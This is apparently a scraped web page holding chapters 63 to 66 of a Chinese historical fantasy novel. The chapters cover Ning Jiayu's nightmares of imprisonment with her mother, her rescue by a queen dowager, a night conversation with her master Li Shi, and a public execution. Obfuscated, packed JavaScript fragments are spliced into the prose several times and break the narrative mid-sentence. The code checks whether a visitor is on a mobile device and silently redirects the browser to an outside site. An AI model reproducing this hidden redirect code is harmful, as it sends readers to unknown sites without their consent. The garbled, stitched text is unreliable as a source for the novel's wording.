d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679268|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 日久月深，兴许那些花里胡哨的招被看了个透，这打在白歌身上几乎不落红的银骨扇，自然没那么管用了。 “哦！”宁佳与翻身上前室，恨声应道。她引手拨开帷帘，复悄悄回首，发现白歌怒色依旧，于是利落进了车。 宁佳与撑着车壁预备落座，嘴里尚茫然嘟囔着“谁又惹到他了”，话音未落，听雪篷车毫无征兆蹿了出去。 嘭！ 她蒙头扑向车壁，肩胛自窗棂一路撞下座板。如非她手快挡住前额，脑门就该原地起高楼了。 “嘶......”宁佳与隔着掌间的绑带揉捏痛处，一屁股坐在地上，猛地捶两拳帷帘，“白歌，你要摔死人啊！” 篷车在大道上风驰电掣，沿街尽是快速闪避的步溪人，及其家中尚未化形的黑猫哥、黄鹤姐、白兔弟、红鹰妹云云。 白歌奋力驱车，讥刺道：“头顶长包没？长了才好。回去师父瞧见心疼了，没准儿少罚十几鞭子。” 宁佳与稳住身子，近乎是爬回座板，幽愤痛斥：“谁抢你大米吃了，你找谁去啊！在这儿迁怒别个算哪门子英雄好汉？” “欸哟——”白歌略松缰绳，车速慢下些许，“这位小、与、姑、娘，倒有心思替我想着饭吃？” 宁佳与一听即知，那拐了五个音的称呼是在效仿宁展。她原以为白歌平等厌恶每个外州人，现下看来，宁展“一骑绝尘”。 篷车格外坚｜挺，奈何跑在燥气未消的午后尤其闷热。 宁佳与兀自撩起半边窗幔，呼吸着透入舆内的新鲜气儿，悠悠叹：“小鸽子，你别得寸进尺。前些日子叫你声师兄，那膀子偏翘上天不成？” 二人都是年纪相仿的小辈，虽说白歌略长宁佳与半岁，却时常要同宁佳与论得先来后到，以此强化师兄的名头。 但依宁佳与之见，白歌身上没有半点儿师兄样。素日除了爱吃大米，就剩个和她吵嘴的嗜好。因此，从小到大她没唤过白歌几声师兄。 “小子就小子！还小鸽子，你当喊太监！”说罢，白歌又自说自话提了速。 他对宁佳与吓唬人的招数司空见惯，宁佳与在他雷车电马上亦然经验老道。 闻车里没了动静，白歌冷不丁侧首道：“喂。” 两人隔着帷帘，宁佳与精准盯住白歌的背影，没好气道：“作甚。” “你。”白歌不自觉攥紧了绳，“真打算与那嘉宁少君结拜？” 宁佳与目光一顿，反问道：“师父告诉你的？” 白歌迟迟未答。 斜阳随意勾勒着身形，将本就单薄的背影拖得狭长。他忽近忽远，映在宁佳与眼底，清晰也迷离。 宁佳与不解白歌用意，但照常搬出自己屡试不爽的法子总没错。 “这事我一人说了不算，得看师父。” 逃避可耻，胜在管用。 63. 仲夏 自宁佳与进山那日，李施千叮咛万嘱咐，交代白歌——他左右也是做师兄的人了，往后该多多看顾师妹。凡师妹身边出现凶险或可疑，不论源自何许人、什么物、哪件事，他必要出手截挡。 他不依不饶“盘究”宁佳与将近十年，将其接触的每件庶务、每个人物都查得明明白白。 白歌亲眼目睹过宁展此人何等可怖，现下却破天荒地没有追问到底。他只是清楚，这不像话的师妹和来势汹汹的危险，自己是一个都挡不住了。 车马渐缓，异彩续断云。 宁佳与倚着车壁，在晃悠悠的乘舆内入梦。 视线混茫，她恍惚抹去眼前的湿润，方得视面前景况。 四面铜墙铁壁，暗不见天。脚边的馊饭翻倒在地，草席破烂流丢。头顶牛毛细雨成片，从高处灰蒙的窄窗斜飞落下。 粗重的镣铐磨破手脚皮肤，阴冷和潮润轮番侵袭身躯，但她依稀能感受到微弱的温暖正紧紧包裹自己。 宁佳与使劲摇了摇头，试图令自己清醒些，怎奈如何也找不到暖意何来，直至背后的呼唤愈发明晰，字字过耳。 “......儿，雨儿？” 是个女人在说话。 “雨儿，醒醒，不能睡。” 这声音，宁佳与听着熟悉，回忆起来又觉陌生。 “舒颜，舒颜啊——” 她的背后，是母亲！ “娘！”韩雨在江漓的怀抱中猛然睁眼。 舒颜，即是江漓两年前提早为韩雨定下的表字。然世事难料，此表字，韩宋尚且不知，韩雨亦未及芨，韩家人悉数入了大狱。 墨川临近仲夏，地牢一样阴冷难捱。 为着捂热韩雨，江漓手脚的镣铐皆环绕其身。她艰难地将女儿圈在怀里，两人紧贴一处，几乎无法动弹。 “雨儿。”江漓噙着残息，无力道，“你，转过头来，让母亲瞧瞧。” 韩雨迟缓回首，脸蛋犹挂泪痕，瞧见江漓，更禁不住瘪了嘴，小声啜泣：“母亲......我们究竟是犯了怎样的大罪？爹爹呢，爹爹被关在哪里？他还，还......” 狱卒每日只送一趟牢饭，食盘上除去半个干巴巴的馒头，就是些臭不可闻的酸物。这份特别关照，若说无人授意，江漓不信。 可那些人打错了主意。 江漓七州首户出身，及芨前已为彼时江氏公认的下一位当家人，绝非娇贵之躯。她从前尝遍了唾手可得的甘甜，而今依然吃下得这令人作呕的馊饭。 正如江家祖训——知甘苦，向无前。 任外头是想饿死她和韩雨，抑或毁人心志，江漓不会让他们如愿。她只看韩雨咽了馒头，便能安心吃上几口馊饭，好生填饱肚子。 江漓虽不嫌这饭馊，但凭谁连日吃下来，不害病身子也要垮，是以母女二人形容憔悴。她把锁链收回自己胸前，轻拍韩雨的肩，道：“雨儿，可是饭来了？” 韩雨摇摇晃晃走向囚门，江漓抓起脚边的饭三两口塞进嘴里。 “......没有来，母亲。”韩雨扒着狭小的缝隙，戚戚答。 她回过身，拖得脚链当啷响，见江漓嘴边粘着糊成青灰色的米粒，遭人扼住喉咙似的无法哭出声。 江漓随意擦了嘴，朝韩雨招手，示意女儿坐到自己身边。 “雨儿，不管往后日子如何，你要记得，韩家上下从未作奸犯科，你父亲更没有对不起任何人。就是死，”她重新环住韩雨，“咱们也死得问心无愧。” 入狱以来，江漓不曾如此直接地向韩雨提及“死”这个结局。韩雨被刺耳的字惊得两眼发圆，难以置信地凝视母亲，险些嚎啕。 “不过。”江漓抬头望窗外像要放晴的天，笑道：“我相信你爹，他一定不会不辞而别。他说过，今岁要领咱们去校场跑马，还要一起晒太阳。” 韩雨兀自垂首，紧抿双唇，极力掩饰对死的恐惧。 “娘，我......” 话音未完，脚步由远及近，随之传来威仪中略显情急的女声：“快，快开门。” 狱卒手忙脚乱地解锁链，铁门大开，一位神清气正的女子步入囚室。 此女身着月白织锦的披纱广袖，挶绢丝帕，远山淡眉，容貌不甚妍丽，倒是文秀出尘，貌似二十左右的年岁。 女子侧身让出一步，吩咐狱卒：“去械。” 韩雨原以为这是哪位世族的姐姐或夫人，正欲引手施礼，却听母亲拜道：“臣妇江漓，见过王太后。” 韩雨的镣铐将将被卸下，紧随母亲躬身，道：“民女韩雨，见过太后娘娘。” 韩宋和江漓鲜少携韩雨出席宫宴，两年前墨川王太后寿诞，韩雨也是由宫娥领至女院用膳。那年，韩雨与元叶一殿之隔。 她没见过元叶，更想不明白为何太后娘娘看起来年岁比母亲小上一旬。 “不必多礼，请速速同我离开。”元叶直截拉过母女二人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“韩氏忠良，我一个怀铅提椠的书袋子都对韩家军钦佩不已，怎会不为太师求情？无奈先王去后，齐王愈发多疑凶横......为今，我所能做的，就是让你们二人远远目送韩太师最后一程了。” 江漓坐在车板上，双目失神。 她不懂，自己前半生倾全族之力行善积福，为何老天偏要她阖家落得个福过灾生的地步。 这太平之世，反倒没有天理可言了吗？ 64. 师徒 月夜压山，碧影遮天。 听雪篷车高达九尺五，立于莽莽苍郁间则显得格外渺小。 万籁俱寂，不远处的窸窣被大片密林拦在山庄之内。晚风起时，方才有人叩响梦境的大门。 “喂。” 宁佳与背靠车壁，满额冷汗，愁眉难展。帷帘外的人声太过轻悄，未能成功将她唤回此处。 白歌挑起半面车帘，重复道：“喂！” 宁佳与艰难地偏过头，似是对呼唤略有所察，却依然没法睁眼。 几番游移，白歌还是道出了那个于他遥远的姓名。 “韩雨，醒醒。” 闻声，江漓即刻在她眼前消散成烟。 膝下跪的木板陡然断裂，她在元叶的马车里疯狂下坠，木板刹那碎作数万支尖锐的飞屑，铺天盖地般朝瞳孔齐齐刺来！ 梦魔越追越紧，令她完全无暇将久别的母亲刻入脑海，身子便猝不及防陷入嘉墨二十七年夏。 “娘！” 宁佳与撑开了双眼。 这回，她贴着自己捂热的座板，脊背任车壁硌得生疼，望向扶帘的白歌，怎么也记不起梦乡旧颜。 白歌见状眼神微滞，不由往后退去半步，被宁佳与劫后余生的模样吓了一跳。 幼年，他还不像如今东奔西飞的信鸽，倒像是山庄养了只兢兢业业的雄鸡，每日始终如一地坚持两件事。 其一，乐此不疲啄大米。其二。定时定点报天亮。 白歌原本无意接这份既要跑断两腿、又要喊哑嗓子的苦差，奈何师父的房门唯有他和他那歹毒师妹敢敲。兼之师父极其贪眠，叫醒李主事比叫醒全庄子都难。 是以除他们二人外，没谁做得来吃力讨骂的“司晨”。 至于他为何看宁佳与歹毒，大抵是因着宁佳与少时夜夜歇在师父房里，且比师父睡得更死。假使无人报晓，怕是外头打起乱仗，屋里都不见得能醒一个。 自始至终，那苦差便是他独自在做。 然白歌隔着屏风叫醒宁佳与不止千次，从未见她哪回有如此夸张的反应。 他堪堪缓过神，想着梦魇缠身之人该透透气，遂卷起整面帷帘。月华散入舆内，他这才瞧清宁佳与额前的汗。 “你......”白歌清了清嗓，心里莫名有些自责，“没事罢？” 宁佳与不知师父何时将“韩雨”二字告诉了白歌，颇为意外地挑起眉，状似轻闲道：“师兄怎的也唤起这名字来了？” 白歌面露不安，谨慎问：“有谁唤过这名字。” “没谁。咱们动身前还是晌午，出城上山何须这般费时？”宁佳与留意到舆外的夜色，漫不经心道，“车马停了几个时辰？” “半个时辰而已。” 宁佳与端量着白歌，半信半疑道：“绕路了？” “嗯。师父信不过宁展，”白歌回首望灯火通明的慈幼庄，“疑心那人放些狗尾巴跟在咱们后边。” 不是因为她耽误时间就好。宁佳与松了口气，十分不客气地拨开白歌，径直跳下车。 白歌险些没站住脚，不免恼火：“你又做什么？” 宁佳与跑向慈幼庄，背对白歌挥手：“回家领鞭子咯。” “你是老和尚的木鱼啊，这么急着挨打！”白歌边吼边骂，眼翻上天，“有车不坐，偏要腿着，师父还能少你顿鞭子不成——” - 山道愈发陡峭，白歌驾着听雪篷车，真不如一身轻松的宁佳与飞得快。 他叫醒宁佳与，是估摸着慈幼庄饭点将近。可待他喂了马、拴好车，庄上的小小子业已着手收拣碗筷了。 须知白歌这辈子离了什么都能活，就是不能离了大米。 仓皇间，白歌逮住个端食盘的小鬼头，紧张道：“你们这就吃好了？后厨可备着多余的饭？白饭没有，米汤呢？” 小鬼头有阵子没瞧见这位兜里揣糖的前辈了，立马笑弯眉眼，雀跃道：“白哥哥，大家都吃好了，今日不是米汤，但豆汤甜得很！而且，后厨一向不备多余的饭呀！” 该死，他怎的把这茬儿忘了。 自打步千弈给听雪阁换了血，教书先生便开始换着法子念叨“珍惜粮食”这事，让孩子们时刻牢记——即便步溪五谷丰稔，亦不可随意浪费。 白歌同宁佳与尚在山中修学时，慈幼庄的每日三餐即是依照特定份例而备，现今更不会留有余量。 白歌只恨自己适才何不效仿宁佳与，再歹毒些，弃了篷车跑马上山多好？若赶得及时，凭他对后厨老伯百般孝敬，至少讨来半碗米饭！ 小鬼头答完了话，却始终没有要走的意思，讨赏一样将手中的空食盘举得老高。 白歌胡乱揉人脑袋，从兜里掏出十几粒软糖搁上。他好容易挪开两步，又回身叮嘱小鬼头与同窗分着吃，继而失魂落魄地往师父房里晃去。 一进门，白歌便见宁佳与在地上跪得笔直。照宁佳与平日的态度，他本该幸灾乐祸，可如今自己才是整个庄子最惨的人，浑无心思取笑宁佳与。 “后厨温着你的晚饭，去吃。” 李施正小心喂着蛊虫，眼皮不抬也知是谁进了屋。 “再放黏糊了。” “啊？！”白歌不可置信，“庄里不是不备——” “那又不是多余的。”李施打断道，“你先前不是托人与我说今日一定回吗，我交代人添了份额。” 宁佳与肚子接着李施话音一响，白歌终于顿悟。 他总以为宁佳与先一步吃上了饭，忘了二人在后厨老伯眼里是出双入对的常客，若备下宁佳与的份，必少不了他那口吃食。 宁佳与悄悄侧眸，质疑道：“愣着作甚？有饭不紧着吃，你究竟是不是白歌？” 白歌光是想到晶莹剔透的米粒心头就美，懒得同宁佳与相争。他抖出两支雪白的翎羽，得意道：“看看，如假包换。” “我那份也温着呢。”宁佳与虚挡半边脸，笑嘻嘻谄媚道：“留给师兄！” 白歌半个字都不信。 “你有这么好心？” “雨儿。”李施严谨地封上蛊缸屏罩，“是嫌屋里跪着不够疼？” 宁佳与讪讪垂首，不再与白歌闲扯。 “还有小白，你就多余搭理她。自己的师妹不了解？她指着你吃了嘴短，届时不得不替她来求情。个个都道你二人是我的得意门生，结果呢？” 李施慢条斯理地净手。 “一个中外边人算计，一个中自家人算计。真给老娘长脸。” “......谨记师父教诲。那，”白歌瞟了宁佳与一眼，或表同情，“师父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679270|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若无事，徒儿先去用饭了。” “去罢，门带上。”李施摆了摆手，复又添补：“对了小白，今日不必差人守夜，你用好饭也回屋安置就是。” 慈幼庄三餐皆比寻常人家要晚上半个时辰。如寻常人家的晚膳多设于酉时正刻，庄上的晚膳便在戌时初刻。 餐时已毕，约莫戌初三刻。若他食迄歇下，距慈幼庄就寝的巳时仍有将近半个时辰。 师父这是不许打搅，不让任何人为宁佳与说项，故命他提前嘱咐下去。 “是。”白歌揖手道，撤步出了屋子。 李施虽未直言，宁佳与也明白今夜搬不来救兵了。她把头越埋越低，仿若不对视，师父便看不见她。 宁佳与一边头顶无声的审判，一边默默许愿——神仙保佑，要是师父此番高抬贵手，她日后再不惹师父生气！ 可印象中，凡是她亲口道出的愿，就没有师父无法实现的事。 初与母亲分离，她睡不安稳，在随师父赶路的途中夜夜梦魇，惊叫不止，则于生辰当天许愿一夜好眠。师父领着她倍道而进，回到慈幼庄不出半日，专治梦魇的秘药送至她手。往后，她尤其贪睡，亦因此枕得十年好眠。 对她而言，这天底下最有可能显灵的神仙，不正是面前的师父吗？ 宁佳与垂首思忖着，忽闻李施怒道：“雨儿，你这样聪明，为何还会轻信外边那些玩意？他们要你杀谁你杀谁，没备着二三可行之策，孤身一人对嘉宁世子下手？如此不顾死活，当真以为我舍不得罚你吗。从前与你说的话都忘干净了，是不是！” 其实宁佳与并非冲动行事，也未尝没有一份详尽的谋划。 倘嘉宁世子真如小道消息那样欺世盗名，死不足惜。只是阴差阳错，宁展假面下“另有其人”。至于他为人是正是邪，宁佳与两个月前不能断言，时下少说有八分把握了。 宁佳与仍蔫头耷脑，李施果然于心不忍，毕竟宁佳与当年听训不过七岁。师徒之间说过的话、谈过的心指不胜屈，她自己都马马虎虎，何以苛求徒弟过耳不忘？ “还显得怪可怜，耷拉个脑袋给谁看？我可没让你跪！祸闯完了，你晓得自觉了。” 宁佳与闻言回神，趁师父心软的间隙，挤出哭腔道：“师父......我早就知错了。您平日再疼我，可这该领的罚，徒儿哪敢躲懒呢......” “啧。”李施假意责备，瞧了宁佳与又接不上半句重话，“得了！你也用饭去，等小白真把你那份吃了，看你跟谁哭。” 宁佳与当即一改愁容，先煞有介事地弯腰揉膝骨，再嬉皮笑脸凑到李施身边。 “师父——”宁佳与圈上李施的臂弯，极其乖顺，“徒儿白日吃得饱呢，这会儿哪都不去，就想多陪陪您！” “惯会说那甜言蜜语，背地倒好，净捅些气死人的篓子！”李施点着宁佳与的额角将人移开，不满道：“好了没有！脸都没擦，别贴着我才洗的头发，不饿就沐浴更衣去。” 宁佳与深悉李施好打扮、爱干净的习性，却不想师徒情深数年，师父还是十分不给面子——只要她全身有一处不够整洁，休想在师父身边多待半刻。 “师父！我好容易上山陪您，您......”宁佳与将将起个调，即被李施直截瞪了回去，“好好好，这就焚香沐浴！” 65. 夜话（一） 宁佳与好些年未留宿慈幼庄了，今日一试，惊觉房中先前存的亵衣短了一大截。好在师父与她的寝屋独有条两头相同的甬路，她迅速穿过此间，蹑手蹑脚溜回师父屋里。 巳时，整个庄子无处不是黢黑，李主事床前也不能例外。 “师父？”宁佳与摸索挪步。 “嗯。” “您歇了吗？” “废话。”李施道，“要歇了教妖怪来应你吗。” 寻着声，宁佳与总算碰到床沿，如幼时那般一骨碌蹿上凉垫。 “——雨儿！”李施被宁佳与惊得脊背骤曲，“你如今是身强体健的年岁，师父呢？你这是要把老娘骨头撞折！” “错了错了！”宁佳与在李施跟前素来低头颇快，还不忘添补甘言美语：“但师父此言差矣，您瞧着又有多大的岁数？分明雪肤花貌、朱颜犹在，若不说，旁人定以为您是我阿姐。” “这话说得对。” 李施对自己的驻颜术极有自知之明，不管岁近几许，音容笑貌总是少艾模样。然则她方才斥过宁佳与行事冲动，自己想一出是一出的毛病却总也没改干净，猛不丁将宁佳与从凉垫上扯了起来。 二人面面相视，李施认真道：“但不要太年轻罢？否则显得稚气无知。雨儿仔细瞧，我这体貌，可令人觉着成熟持重、有堪托生死之感？” 南行路上，通常唯有宁展能及时接上她的奇想，宁佳与不时质疑自己思绪是否太过跳脱。现较师父观之，她许是多虑了。 “......师父。” 借着月华，宁佳与没瞧出个所以然，师父眉眼间经久不变的固执倒是无须费神辨认。她也不想敷衍带过，奈何榻前昏暗，委实看不清更多。 “做个成熟持重的人不累吗，何况是将旁人生死背到自己身上？您同那些巫术、蛊虫较了大半辈子劲，我就希望师父日后......不说做个童心未泯之人，至少逍遥些。” “那怎么行？雨儿是雨儿，元......”李施理齐了亵衣，“旁人是旁人，不一样。” 那声清亮的“元”被宁佳与精准收入耳。 李施从未对她提及李家往事，她亦不曾探听。若柳如殷所言不假，师父便是琛惠年间病故的李太保，又为何会与貌似毫不相干的元太后交情匪浅？ 宁佳与努力眨了眨眼，试图将梦中人与身边的李施牵上联系。 - 马车载着元叶及江漓母女直至墨川城中某处偏宅。 照江漓嘱托，元叶的侍从取来一身粗衣布裙。母女二人简单擦洗后，江漓为韩雨换上新衣。 江漓拿不准自己今后如何，心下已做好与女儿分别的打算。 她明白，嘉宁、墨川的新主既给韩家莫须有的罪定了名，便轻易不会放过从刀下逃走的任何人，尤其是她和韩雨。荒唐的罪案得以昭雪前，她决计不能和韩雨待在一处。 行踪一旦暴露，谁都活不成，韩家数百口人更则死不瞑目。 江漓本欲散尽手头金银，最后为女儿添一身锦衣，然忧心华服招摇，只得退而求稳。万幸，还有韩雨最喜好的桃色可以选择。 她看着从头到脚换了样的女儿依旧英英而立，本是欣慰自豪，干涩的唇抿了又抿，终究垂目盈眶。 这粗衣，太新，太惹眼。 江漓哽咽吞声，把裙摆、衣襟、袖管一遍遍揉皱折乱，复抓起庭院内湿润的黄土，使劲往韩雨脸上抹，心如刀绞。 韩雨两腿发软，被母亲不轻不重的气力扯得东倒西歪，像个任人舞弄的破娃娃，却潦草笑了。 那粗衣，还是太新，还是惹眼。 娃娃兜着麻布，还是在笑。 “江大娘子，该出发了。” 元叶将绢帕交与江漓，再将纸鸢递给韩雨。 “官府今晨把太师府抄干净了。这两样物件，韩将军托我事先带出来。押运囚车的解差是先徉王旧部，进入步溪境内后，他会在切近茶楼的地界助你们离开。届时，江大娘子拿着帕子里的信物进楼寻掌柜，自有人接应你们。” 韩雨接过父亲尚未完成的纸鸢，跪道：“民女谢过太后娘娘。” “无须多礼。”元叶搀住几欲跟随的江漓，忙扶韩雨。 - 宁佳与反复梳理着表象，发现一个是辅佐世子的步溪血脉，一个是他州为后的汴亭血脉。除去年岁相仿、世家出身以外，她近乎找不到二者其余的关联。 矜平躁释的文士和直情径行的怪杰......宁佳与怎么想，怎么觉得她们并非深交的同道中人。 但光凭元叶将李施的牌位供在元家祠堂这一事，便证明宁佳与这想法错了。 “师父说的旁人，”宁佳与手撑凉垫，盘腿挪向李施，“可是墨川的太后娘娘？” “什么娘娘。”李施伸手迎宁佳与，指尖触到她发间潮润，登时一脚踹出去，“死丫头，又不擦头发！去将屏风那边的绒巾取来！” “怕您等久了嘛。”宁佳与躲着踹，赤脚跳下凉垫，拿了绒巾便飞速蹦回床上，“师父，您接着说呀。不是娘娘，那是什么？” “王太后又如何？就是做了皇帝，”李施夺过宁佳与手中的绒巾，将半湿半干的发梢悉数包裹，“也不该丢掉自己的名字。” “可......直呼王太后姓名，历朝历代都不合礼数罢？”宁佳与背对李施，一头长发全权交给师父。 “礼数、礼数，有人记住她王太后的姓名才谈得上合与不合。你上街问问，”李施握着绒巾缓劲揉搓，“谁还知道她叫什么？” 宁佳与若有所思，仰头道：“元家人一定记得。” “得了罢。真有那个心，当初她要去墨川，元家就不会一言不发。李家与元家，”李施猝然加重了手上的力道，“没分别！皆是群薄情寡义、唯利是图的——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679271|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “欸哟......”宁佳与旋即捂上被师父扯疼的脑袋。 李施性子烈，发了火惯是要牵连无辜的。师父狠起来连自家人都骂，宁佳与想想自己的待遇，好受了不少。 “对了雨儿。”李施似在盘算着什么，并未留意悄声叫痛的宁佳与，“你母亲可给你定了表字？若是没有，师父取一个！” 闻言，宁佳与不禁忆起白歌先前同自己倒的苦水，便是因为师父一时兴起给他定下的表字。 岸春。 “岸春？归岸即是春......”宁佳与搔了搔下巴，疑惑道，“不是还成么。师父亲笔题字，你小子还有哪里不满意？” “拜托。”白歌郁闷地坐在池边，“你连着姓念一下再评说？” “连起来？白岸......” 宁佳与豁然开朗，乐得半晌直不起腰。 “白鹌鹑！很合适啊，到底是鸟儿嘛——” “滚开！”白歌抓起石子就扔宁佳与。 “嗤——”宁佳与倏尔笑倒在李施腿上，强忍颤意，解释道：“徒、徒儿谢、谢师父好意，但母亲早年已定过表字了......·” “哦。”李施遗憾道，“行罢。” “不过。”宁佳与忽然立直上身，好奇道，“师父的表字是什么？” 李施缄默少顷，笃定道：“雨儿，你见过。” “啊？”宁佳与浑不记得自己何时何地见过师父的姓名，遑论是表字。 “记不得就罢。”李施摸宁佳与发梢干松，随手抛开绒布，径自躺回凉垫，“横竖我今日也不是要留你在这里忆往昔。” 宁佳与把长发拢至右肩，老老实实跟师父躺下，不敢作声。 “适才小白与我说，”李施阖上双眼，“你今日魇着了？” 宁佳与知道白歌爱告黑状，却不料这芝麻大点儿的小事亦要被唠叨。 她舔了舔唇角，道：“是，师父。我——” 李施冷哼一声，无头无尾地判起罪：“都怪元家那兔崽子！打从你碰上他，没落着几件好事！” 宁佳与平日有多灵敏，现下就有多迟缓。 “......师父，是我出门在外带的药吃完了，与他没——” “没干系？”李施立刻打断，“若不是为着杀他，你何至于在外边待那样久，将近两个月的药量又岂会不够用？” “如此说来，要怪也该怪周连......”宁佳与念念有词，“周连居心叵测，想用母亲的消息与我交换，要我取宁展性命。” “那老太监算个屁，这事儿明摆着是步长微的意思。”李施斩钉截铁道，“你要杀嘉宁善王钦点的王储，凡有人将此事广而宣之，你成或不成，皆是死路一条。这是冲宁展去吗？是冲着你！” 宁佳与不以为然，未待回话，李施蓦地睁眼，一把抓住了她。 “周连知道你娘的消息？” 66. 夜话（二） “周连只说，永清有江氏几位家仆的踪迹。我仔细核对他给的姓名、籍贯、年龄、画像，均无差错。江家隐匿前，步长微没道理盯视府中老仆。周连所得之音，应当就是江家人的近况。但他似乎以为，”宁佳与侧过脑袋看李施，“我是家仆的女儿？” “不不不，不对。慈幼庄收的孩子多是步溪人，像你与熊崽这般的外州人少之又少。步长微想究查你的身份，按说该从步溪着手。周连。” 李施将宁佳与的手腕越握越紧。 “甚至没有拿出除永清江氏以外的消息供你选择，是不是？” 宁佳与眉头浅锁，犹疑道：“步长微何以如此确信我与江家有关？” “你跟我上山那阵子，这里还是步长微掌权，他的眼睛随处可见。步千弈可以料想你的身份，步长微定也不是吃素的，只是他没法如步千弈一样当面接触你求证。”李施审慎道，“你出现在韩、江两家没落之际，韩家灭族，步长微自然把目光投向江家，千方百计寻到家仆，再命周连以此刺探你。你前番应下与周连的交易，至少给了他七八分把握。” 李施难得言辞婉转，宁佳与却越听越胆寒。 没多会儿，紧贴凉垫的脊背渗出冷汗，宁佳与缓缓道：“步长微既然胸有成算，何必大费周章借指婚招引他州王室揭穿我？他先手将我交去，向善王、齐王卖个人情，不是更好吗......” 李施沉声道：“这个人情太大，步长微哪能主动邀功？” 宁佳与犹处于为寻母亲下落操之过急以致自投罗网的懊恼中，一时心乱如麻，整个人都糊涂起来。但直觉告诉她，自己的命在宁善、墨司齐眼里，不值李施所说的天大人情。 “徒儿不明白，请师父明示。” “嘉宁、墨川积怨成疾，是谓从君臣到百姓俱无和睦可言，因此当初两州大战一触即发，一战就是十三载。近些年间亦有暗斗不止，”李施拨开宁佳与眼前散乱的碎发，“你可知他们缘何迟迟未再起战事？” “和亲并非长远之计。” 宁佳与回忆着久远的听学内容。 “嘉墨元年后，七州崇文轻武益发严重。各路将才不堪朝廷打压，纷纷挂冠而去，武职悬缺。” “这是其一。”李施点头道。她顿了顿声，尽量含蓄，“此外，还有宁善和墨司齐对韩家的忌惮。尽管你父亲的罪状被编排得滴水不漏，三族亦无处鸣冤，而你与你母亲，是那场极刑中始料未及的变数。这变数如毛刺扎入两大州的掌心，一日看不见你们母女的尸首，便一日提不起握剑交兵的胆力。” - 马车抵达法场千步开外，耳畔即是群情汹汹的喧豗声。 头顶乌帽之士身着红袍，长叹：“韩家世代忠义，不承想韩太师做了那煽风点火的权奸啊。” 近处，另一位火上浇油：“今时不同往日，韩家从前皆是齐心倾注沙场的英烈之辈，偏偏出了这既要文又要武的‘太师将军’高立庙堂。贪心不足，难免被功名利禄冲昏头喽。” “喂！”身着紫袍者当即推开两人，厉声喝道：“嘉宁人真是不知好歹啊！站在韩将军守护的土地上侮辱韩将军，我看你们才是亡国大夫、乱臣贼子！” 紫袍身后涌上来数位身披戎甲的小卒，道：“不准侮辱大将军！” 红袍子踉跄稳住乌纱帽，底气十足：“前边儿就是韩氏认罪伏法之地，尔等胆敢替他言语正名？鬼迷心窍了吗？” 其余身处异乡的嘉宁文臣毫不示弱，帮腔道：“此人谋反证据确凿，齐王陛下亲自为韩氏题笔列罪。奉劝各位，莫要执迷不悟！” 任由对方嚼舌，紫袍雷打不动，威风更甚：“那愚昧无知的竖子匹夫，也就你们一口一个‘齐王陛下’叫得亲。墨川上上下下，根本从未待见过——” 他话音未尽，人头猝然落地，血花掀起周遭一阵惊呼。 那头颅骨碌碌滚到小卒脚边，几人试图凭赤手空拳替紫袍讨回公道，却很快被层层包围的带刀官兵无声平息。 元叶一行三人轻纱斗笠覆面，在先王旧部的掩护下进了阁楼。 阁楼距法场甚远，但放眼望下去，满街熙攘，法场中央那座巨口紧闭的铁灰镬鼎格外瞩目。 镬鼎耳挂青铜双铉，脚踏四只兽蹄厉足，通身兜着玄青的鱼鳞纹，四下干柴堆围，旁侧站着位手握熏天烈焰的刑官。 韩雨无心细想父亲为何仍未露面，攥紧了江漓的粗袖，低语道：“娘......爹爹在哪里？” 不等江漓应声，墨司齐身居高座，直将火签令投入法场。上空鸦雀无闻，监斩官紧着扯开嗓子：“午初三刻已到，行——刑——” 炽焰燎人，喷红的火圈愈描愈烈，火圈托着四平八稳的镬鼎，赫赫炎炎。 原手扶窗沿的江漓终于弓下腰，牢牢抱住韩雨，涕泗交颐。 怎料，一袭蝉衫麟带的少年霎时冲出人群！ 少年作劲夺下刑官手中的火把，二话不说以火把挑向鼎盖，法场下愕叹乍起。 刑官被来人打得猝不及防，待他看清少年的腰牌，则不知是该阻拦、还是该识趣退场。毕竟闹事者绝不是他能得罪的主，座上两位，一个是人亲爹，一个是人舅父，他有几条命跟嘉宁大殿下对着干？ 年少的宁展气力有限，却靠着那股不服的劲儿，好歹将鼎盖挪开了四寸。 场下臣民见状无不抻颈探看，不意，竟是自鼎口接连洒落的金银玉器率先闯入人们眼帘，后才坠下一条灼红的手臂。 “这——”墨司齐面色铁青，宁善随即摁住他拍案而起的势头，他不禁怒道：“妹婿，你是否对那孩子太骄纵了些！” 